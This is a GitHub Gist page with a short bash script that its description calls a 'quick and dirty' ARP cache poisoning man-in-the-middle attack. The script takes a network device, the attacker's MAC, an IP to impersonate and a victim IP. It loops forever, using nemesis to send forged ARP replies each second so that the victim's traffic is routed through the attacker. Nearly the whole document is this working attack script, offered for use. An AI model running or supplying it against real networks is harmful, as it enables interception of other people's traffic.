Created
May 11, 2013 01:53
-
-
Save NickStephens/5558615 to your computer and use it in GitHub Desktop.
A quick and dirty bash script used to perform the infamous man-in-the-middle attack know as ARP cache poisoning. This attack works by telling a victim on the network that your mac address is the mac address of the ip_to_masquerade_as, meaning all data destined for the ip_to_masquerade_as from the victim will now be sent to you before being forwa…
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# perform an arp cache poisoning attack with nemesis | |
# http://nemesis.sourceforge.net/ | |
[[ $1 = "-h" ]] && echo "usage: $0 <network_device> <attackers_mac> <ip_to_masquerade_as> <victim_ip>" && exit 0 | |
while true | |
do | |
nemesis arp -d $1 -H $2 -M ff:ff:ff:ff:ff:ff -h $2 -m ff:ff:ff:ff:ff:ff -S $3 -D $4 | |
sleep 1s | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment